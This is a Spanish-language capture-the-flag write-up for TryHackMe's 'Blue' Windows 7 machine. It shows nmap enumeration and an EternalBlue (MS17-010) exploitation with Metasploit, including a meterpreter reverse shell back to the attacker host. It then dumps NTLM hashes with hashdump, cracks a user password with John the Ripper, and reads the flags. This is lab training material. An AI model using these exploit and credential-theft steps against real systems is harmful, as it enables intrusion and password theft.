



# Write-Up: Máquina "Blue"

- 📌 Plataforma: Try Hack Me
- 📌 Dificultad: Fácil
- 📌 Autor: Joaquín Picazo



## Metodología de Pentesting

El proceso se realizó siguiendo la siguiente metodología:

- 1 **Reconocimiento** – Recolección de información general sobre la máquina objetivo.
- 2 **Escaneo y Enumeración** – Identificación de servicios, tecnologías y versiones en uso.
- 3 **Explotación** – Uso de vulnerabilidades encontradas para obtener acceso al sistema.
- 4 **Escalada de Privilegios y Post-Explotación** – Obtención de permisos elevados hasta lograr acceso total para realizar una extracción de información.



## 1. Reconocimiento y Recolección de Información

Realizo un escaneo general para identificar los puertos abiertos.

```
(root@kali)-[~]
└─$ nmap -p- -vvv --open 10.10.73.68
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-05 21:44 -03
Initiating Ping Scan at 21:44
Scanning 10.10.73.68 [4 ports]
Completed Ping Scan at 21:44, 0.25s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:44
Completed Parallel DNS resolution of 1 host. at 21:44, 0.02s elapsed
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 21:44
Scanning 10.10.73.68 [65535 ports]
Discovered open port 135/tcp on 10.10.73.68
Discovered open port 445/tcp on 10.10.73.68
Discovered open port 3389/tcp on 10.10.73.68
Discovered open port 139/tcp on 10.10.73.68
SYN Stealth Scan Timing: About 28.81% done; ETC: 21:46 (0:01:17 remaining)
Discovered open port 49152/tcp on 10.10.73.68
Discovered open port 49153/tcp on 10.10.73.68
Discovered open port 49154/tcp on 10.10.73.68
Discovered open port 49158/tcp on 10.10.73.68
Discovered open port 49159/tcp on 10.10.73.68
Completed SYN Stealth Scan at 21:46, 89.13s elapsed (65535 total ports)
Nmap scan report for 10.10.73.68
Host is up, received timestamp-reply ttl 127 (0.23s latency).
Scanned at 2025-04-05 21:44:58 -03 for 89s
Not shown: 65526 closed tcp ports (reset)
PORT      STATE SERVICE      REASON
135/tcp    open  msrpc        syn-ack ttl 127
139/tcp    open  netbios-ssn  syn-ack ttl 127
445/tcp    open  microsoft-ds syn-ack ttl 127
3389/tcp   open  ms-wbt-server syn-ack ttl 127
49152/tcp  open  unknown      syn-ack ttl 127
49153/tcp  open  unknown      syn-ack ttl 127
49154/tcp  open  unknown      syn-ack ttl 127
49158/tcp  open  unknown      syn-ack ttl 127
49159/tcp  open  unknown      syn-ack ttl 127

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 89.64 seconds
Raw packets sent: 75869 (3.338MB) | Rcvd: 71562 (2.928MB)
```

## 2. Escaneo y Enumeración

Ahora, hago un escaneo específico a los puertos encontrados anteriormente para obtener sus versiones.

```
(root@kali)-[~]
# nmap -p135,139,445,49152,49153,49154,49158,49160 -sV -sC -vvv 10.10.73.68
```

PORT	STATE	SERVICE	REASON	VERSION
135/tcp	open	msrpc	syn-ack ttl 127	Microsoft Windows RPC
139/tcp	open	netbios-ssn	syn-ack ttl 127	Microsoft Windows netbios-ssn
445/tcp	open	microsoft-ds	syn-ack ttl 127	Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp	open	msrpc	syn-ack ttl 127	Microsoft Windows RPC
49153/tcp	open	msrpc	syn-ack ttl 127	Microsoft Windows RPC
49154/tcp	open	msrpc	syn-ack ttl 127	Microsoft Windows RPC
49158/tcp	open	msrpc	syn-ack ttl 127	Microsoft Windows RPC
49160/tcp	closed	unknown	reset ttl 127	

Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Me parece que hay una vulnerabilidad para la versión relacionada al servicio del puerto 445, entonces copio la versión del servicio microsoft-ds y en google busco “vulnerability <versión servicio>”. Encontré una web con su MS y una breve descripción.

https://www-rapid7-com.translate.goog/db/modules/exploit/windows/smb/ms17\_010\_eternalblue/?\_x\_tr\_sl=e

Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec CrackStation Base64 Decode

PLATAFORMA PRODUCTOS SERVICIOS RECURSOS COMPAÑÍA FOGONADURA EN

tos de vulnerabilidades y exploits | Módulos

MÓDULO

# MS17-010 Corrupción del grupo de kernel de Windows remoto SMB de EternalBlue

PRUEBA SURFACE COMMAND

Obtenga una vista continua de 360° de su superficie de ataque

## 🌟 3. Explotación de Vulnerabilidades

Ingreso a metasploit con msfconsole.

```
(root@kali)-[~]
# msfconsole
Metasploit tip: Use sessions -1 to interact with the last opened session

Sistema de...
Compete...

[...]
```

Busco eternalblue, en metasploit. Eternalblue corresponde a la forma de explotar la vulnerabilidad encontrada anteriormente.

```
msf6 > search eternalblue

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14      average Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1  \ target: Automatic Target               .               .      .      .
2  \ target: Windows 7                      .               .      .      .
3  \ target: Windows Embedded Standard 7    .               .      .      .
4  \ target: Windows Server 2008 R2         .               .      .      .
5  \ target: Windows 8                      .               .      .      .
6  \ target: Windows 8.1                    .               .      .      .
7  \ target: Windows Server 2012            .               .      .      .
8  \ target: Windows 10 Pro                  .               .      .      .
9  \ target: Windows 10 Enterprise Evaluation .               .      .      .
10 exploit/windows/smb/ms17_010_psexec      2017-03-14      normal Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code
Execution
11 \ target: Automatic                      .               .      .      .
12 \ target: PowerShell                     .               .      .      .
13 \ target: Native upload                   .               .      .      .
14 \ target: MOF upload                      .               .      .      .
15 \ AKA: ETERNALSYNERGY                     .               .      .      .
16 \ AKA: ETERNALROMANCE                     .               .      .      .
17 \ AKA: ETERNALCHAMPION                     .               .      .      .
18 \ AKA: ETERNALBLUE                        .               .      .      .
19 auxiliary/admin/smb/ms17_010_command      2017-03-14      normal No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Comma
nd Execution
20 \ AKA: ETERNALSYNERGY                     .               .      .      .
21 \ AKA: ETERNALROMANCE                     .               .      .      .
22 \ AKA: ETERNALCHAMPION                     .               .      .      .
23 \ AKA: ETERNALBLUE                        .               .      .      .
24 auxiliary/scanner/smb/smb_ms17_010        .               normal No     MS17-010 SMB RCE Detection
25 \ AKA: DOUBLEPULSAR                       .               .      .      .
26 \ AKA: ETERNALBLUE                        .               .      .      .
27 exploit/windows/smb/smb_doublepulsar_rce  2017-04-14      great  Yes    SMB DOUBLEPULSAR Remote Code Execution
```

Hago uso de la opción 0 (la primera). Luego, con “show options” veo las variables que necesita este exploit.

```
usemsf6 > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

Name          Current Setting  Required  Description
--          -
RHOSTS        445              yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT         445              yes       The target port (TCP)
SMBDomain      .                no        (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedd
ed Standard 7 target machines.
SMBPass        .                no        (Optional) The password for the specified username
SMBUser        .                no        (Optional) The username to authenticate as
VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded S
standard 7 target machines.
VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7
target machines.

Payload options (windows/x64/meterpreter/reverse_tcp):

Name          Current Setting  Required  Description
--          -
EXITFUNC      thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST         192.168.18.8    yes       The listen address (an interface may be specified)
LPORT         4444            yes       The listen port

Exploit target:

Id  Name
--  ---
0   Automatic Target
```

Ingreso/modifico los datos del exploit, usando los datos de esta situación.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.73.68
RHOSTS => 10.10.73.68
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 10.21.144.200
LHOST => 10.21.144.200
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 1234
LPORT => 1234
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 10.21.144.200:1234
[*] 10.10.73.68:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.73.68:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.73.68:445 - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.73.68:445 - The target is vulnerable.
[*] 10.10.73.68:445 - Connecting to target for exploitation.
[+] 10.10.73.68:445 - Connection established for exploitation.
[+] 10.10.73.68:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.73.68:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.73.68:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.73.68:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.73.68:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.10.73.68:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.73.68:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.73.68:445 - Sending all but last fragment of exploit packet
[*] 10.10.73.68:445 - Starting non-paged pool grooming
[+] 10.10.73.68:445 - Sending SMBv2 buffers
[+] 10.10.73.68:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.73.68:445 - Sending final SMBv2 buffers.
[*] 10.10.73.68:445 - Sending last fragment of exploit packet!
[*] 10.10.73.68:445 - Receiving response from exploit packet
[+] 10.10.73.68:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.73.68:445 - Sending egg to corrupted connection.
[*] 10.10.73.68:445 - Triggering free of corrupted buffer.
[*] Sending stage (203846 bytes) to 10.10.73.68
[+] 10.10.73.68:445 - -----
[+] 10.10.73.68:445 - -----WIN-----
[+] 10.10.73.68:445 - -----
[*] Meterpreter session 1 opened (10.21.144.200:1234 -> 10.10.73.68:49183) at 2025-04-05 21:44:51 -0300

meterpreter > ls
Listing: C:\Windows\system32
```

## 4. Escalada de Privilegios y Post-explotación

En caso de que no saliera meterpreter con root luego del exploit, hacer **CTRL+Z** y después “**use post/multi/manage/shell\_to\_meterpreter**”, posteriormente con un “**show options**” para ver los datos que se necesitan ingresar/modificar, luego, aplicas/asocias este exploit a la session 1 y lo ejecutas con “**run**”:

```
msf6 post(multi/manage/shell_to_meterpreter) > sessions

Active sessions

--
Id  Name  Type  Information  Connection
--
1   meterpreter x64/windows NT AUTHORITY\SYSTEM @ JON-PC 10.21.144.200:1234 → 10.10.73.68:49183 (10.10.73.68)

msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > run

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.21.144.200:4433
[*] Post module execution completed
msf6 post(multi/manage/shell_to_meterpreter) >
[*] Sending stage (203846 bytes) to 10.10.73.68
[*] Meterpreter session 2 opened (10.21.144.200:4433 → 10.10.73.68:49205) at 2025-04-05 21:53:30 -0300
[*] Stopping exploit/multi/handler
whoami
[*] exec: whoami

root
msf6 post(multi/manage/shell_to_meterpreter) > sessions

Active sessions

--
Id  Name  Type  Information  Connection
--
1   meterpreter x64/windows NT AUTHORITY\SYSTEM @ JON-PC 10.21.144.200:1234 → 10.10.73.68:49183 (10.10.73.68)
2   meterpreter x64/windows NT AUTHORITY\SYSTEM @ JON-PC 10.21.144.200:4433 → 10.10.73.68:49205 (10.10.73.68)
```

Luego, ingresas a la session 2 a la cual tienes el meterpreter obtenido anteriormente.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > pwd
C:\Users\Jon\Desktop
```

Con hashdump se ven los usuarios y contraseñas hasheadas en NT. Copiar todo lo de **Jon**.

```
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
```

pegar

“**Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::**” en un archivo, en mi caso lo hice en uno llamado hashBLUE.txt

```
(root@kali)-[~]
# nano hashBLUE.txt
```



Con John The Ripper se puede quitar este hash especificando que es formato NT, esto se realiza porque Try Hack Me solicita descifrar esta contraseña (y podría ser algo confuso o tedioso para alguien nuevo).

```
(root@kali)~# john -wordlist=/usr/share/wordlists/rockyou.txt hashBLUE.txt --format=NT

Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 128/128 SSE2 4x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
alqfna22 (Jon)
1g 0:00:00:02 DONE (2025-04-05 22:03) 0.3831g/s 3908Kp/s 3908Kc/s 3908Kc/s alqui..alpusidi
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed.
```

Ahora, me enfoco en encontrar las flags que se encuentran en alguna parte de la máquina.

```
meterpreter > pwd
C:\
meterpreter > dir
Listing: C:\

Mode                Size      Type    Last modified          Name
-----
040777/rwxrwxrwx    0      dir    2018-12-13 00:13:36 -0300 $Recycle.Bin
040777/rwxrwxrwx    0      dir    2009-07-14 01:08:56 -0400 Documents and Settings
040777/rwxrwxrwx    0      dir    2009-07-13 23:20:08 -0400 PerfLogs
040555/r-xr-xr-x  4096      dir    2019-03-17 19:22:01 -0300 Program Files
040555/r-xr-xr-x  4096      dir    2019-03-17 19:28:38 -0300 Program Files (x86)
040777/rwxrwxrwx  4096      dir    2019-03-17 19:35:57 -0300 ProgramData
040777/rwxrwxrwx    0      dir    2018-12-13 00:13:22 -0300 Recovery
040777/rwxrwxrwx  4096      dir    2019-03-17 19:35:55 -0300 System Volume Information
040555/r-xr-xr-x  4096      dir    2018-12-13 00:13:28 -0300 Users
040777/rwxrwxrwx 16384      dir    2019-03-17 19:36:30 -0300 Windows
100666/rw-rw-rw-   24      fil    2019-03-17 16:27:21 -0300 flag1.txt
000000/-----     0      fif    1969-12-31 21:00:00 -0300 hiberfil.sys
000000/-----     0      fif    1969-12-31 21:00:00 -0300 pagefile.sys

meterpreter > cat flag1.txt
flag{access_the_machine}meterpreter >
```

```
meterpreter > pwd
C:\Windows\System32\config
meterpreter > cat flag2.txt
flag{sam_database_elevated_access}meterpreter >
```

```
meterpreter > dir
Listing: C:\Users\Jon\Documents

Mode                Size      Type    Last modified          Name
-----
040777/rwxrwxrwx    0      dir    2018-12-13 00:13:31 -0300 My Music
040777/rwxrwxrwx    0      dir    2018-12-13 00:13:31 -0300 My Pictures
040777/rwxrwxrwx    0      dir    2018-12-13 00:13:31 -0300 My Videos
100666/rw-rw-rw-   402      fil    2018-12-13 00:13:48 -0300 desktop.ini
100666/rw-rw-rw-   37      fil    2019-03-17 16:26:36 -0300 flag3.txt
```

```
meterpreter > cat flag3.txt
flag{admin_documents_can_be_valuable}meterpreter >
```



## Banderas y Resultados

- ✓ **Usuario:** Se obtuvo acceso como usuario no privilegiado.
- ✓ **Root:** Se logró escalar privilegios hasta obtener control total del sistema.
- ✓ **Banderas:** Se obtuvieron las 3 flags existentes en la máquina objetivo.